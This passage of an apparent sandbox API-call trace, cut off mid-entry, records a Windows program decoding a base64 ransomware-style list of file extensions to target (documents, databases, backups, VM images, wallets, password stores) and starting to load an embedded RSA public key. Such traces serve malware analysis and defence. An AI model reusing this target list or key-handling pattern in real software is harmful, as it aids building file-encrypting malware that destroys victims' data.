c2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==") returned="LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==" [0135.145] lstrlenA (lpString="LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==") returned 3888 [0135.145] VirtualAlloc (lpAddress=0x0, dwSize=0xf31, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000 [0135.146] CryptStringToBinaryA (in: pszString="LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==", cchString=0x0, dwFlags=0x1, pbBinary=0x2740000, pcbBinary=0x19f83c, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2740000, pcbBinary=0x19f83c, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0135.146] VirtualAlloc (lpAddress=0x0, dwSize=0x16c6, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000 [0135.146] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x2740000, cbMultiByte=-1, lpWideCharStr=0x2750000, cchWideChar=2915 | out: lpWideCharStr=".1cd, .3dm, .3ds, .3fr, .3g2, .3gp, .3pr, .7z, .7zip, .aac, .ab4, .abd, .acc, .accdb, .accde, .accdr, .accdt, .ach, .acr, .act, .adb, .adp, .ads, .agdl, .ai, .aiff, .ait, .al, .aoi, .apj, .apk, .arw, .ascx, .asf, .asm, .asp, .aspx, .asset, .asx, .atb, .avi, .awg, .back, .backup, .backupdb, .bak, .bank, .bay, .bdb, .bgt, .bik, .bin, .bkp, .blend, .bmp, .bpw, .bsa, .c, .cash, .cdb, .cdf, .cdr, .cdr3, .cdr4, .cdr5, .cdr6, .cdrw, .cdx, .ce1, .ce2, .cer, .cfg, .cfn, .cgm, .cib, .class, .cls, .cmt, .config, .contact, .cpi, .cpp, .cr2, .craw, .crt, .crw, .cry, .cs, .csh, .csl, .css, .csv, .d3dbsp, .dac, .das, .dat, .db, .db_journal, .db3, .dbf, .dbx, .dc2, .dcr, .dcs, .ddd, .ddoc, .ddrw, .dds, .def, .der, .des, .design, .dgc, .dgn, .dit, .djvu, .dng, .doc, .docm, .docx, .dot, .dotm, .dotx, .drf, .drw, .dtd, .dwg, .dxb, .dxf, .dxg, .edb, .eml, .eps, .erbsql, .erf, .exf, .fdb, .ffd, .fff, .fh, .fhd, .fla, .flac, .flb, .flf, .flv, .flvv, .forge, .fpx, .fxg, .gbr, .gho, .gif, .gray, .grey, .groups, .gry, .h, .hbk, .hdd, .hpp, .html, .ibank, .ibd, .ibz, .idx, .iif, .iiq, .incpas, .indd, .info, .info_, .ini, .iwi, .jar, .java, .jnt, .jpe, .jpeg, .jpg, .js, .json, .k2p, .kc2, .kdbx, .kdc, .key, .kpdx, .kwm, .laccdb, .lbf, .lck, .ldf, .lit, .litemod, .litesql, .lock, .log, .ltx, .lua, .m, .m2ts, .m3u, .m4a, .m4p, .m4v, .ma, .mab, .mapimail, .max, .mbx, .md, .mdb, .mdc, .mdf, .mef, .mfw, .mid, .mkv, .mlb, .mmw, .mny, .money, .moneywell, .mos, .mov, .mp3, .mp4, .mpeg, .mpg, .mrw, .msf, .msg, .myd, .nd, .ndd, .ndf, .nef, .nk2, .nop, .nrw, .ns2, .ns3, .ns4, .nsd, .nsf, .nsg, .nsh, .nvram, .nwb, .nx2, .nxl, .nyf, .oab, .obj, .odb, .odc, .odf, .odg, .odm, .odp, .ods, .odt, .ogg, .oil, .omg, .one, .orf, .ost, .otg, .oth, .otp, .ots, .ott, .p12, .p7b, .p7c, .pab, .pages, .pas, .pat, .pbf, .pcd, .pct, .pdb, .pdd, .pdf, .pef, .pem, .pfx, .php, .pif, .pl, .plc, .plus_muhd, .pm!, .pm, .pmi, .pmj, .pml, .pmm, .pmo, .pmr, .pnc, .pnd, .png, .pnx, .pot, .potm, .potx, .ppam, .pps, .ppsm, .ppsx,.ppt, .pptm, .pptx, .prf, .private, .ps, .psafe3, .psd, .pspimage, .pst, .ptx, .pub, .pwm, .py, .qba, .qbb, .qbm, .qbr, .qbw, .qbx, .qby, .qcow, .qcow2, .qed, .qtb, .r3d, .raf, .rar, .rat, .raw, .rdb, .re4, .rm, .rtf, .rvt, .rw2, .rwl, .rwz, .s3db, .safe, .sas7bdat, .sav, .save, .say, .sd0, .sda, .sdb, .sdf, .sh, .sldm, .sldx, .slm, .sql, .sqlite, .sqlite3, .sqlitedb, .sqlite-shm, .sqlite-wal, .sr2, .srb, .srf, .srs, .srt, .srw, .st4, .st5, .st6, .st7, .st8, .stc, .std, .sti, .stl, .stm, .stw, .stx, .svg, .swf, .sxc, .sxd, .sxg, .sxi, .sxm, .sxw, .tax, .tbb, .tbk, .tbn, .tex, .tga, .thm, .tif, .tiff, .tlg, .tlx, .txt, .upk, .usr, .vbox, .vdi, .vhd, .vhdx, .vmdk, .vmsd, .vmx, .vmxf, .vob, .vpd, .vsd, .wab, .wad, .wallet, .war, .wav, .wb2, .wma, .wmf, .wmv, .wpd, .wps, .x11, .x3f, .xis, .xla, .xlam, .xlk, .xlm, .xlr, .xls, .xlsb, .xlsm, .xlsx, .xlt, .xltm, .xltx, .xlw, .xml, .xps, .xxx, .ycbcra, .yuv, .zip") returned 2915 [0135.146] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.146] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu") returned 368 [0135.146] VirtualAlloc (lpAddress=0x0, dwSize=0x171, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000 [0135.146] lstrcpyA (in: lpString1=0x2740000, 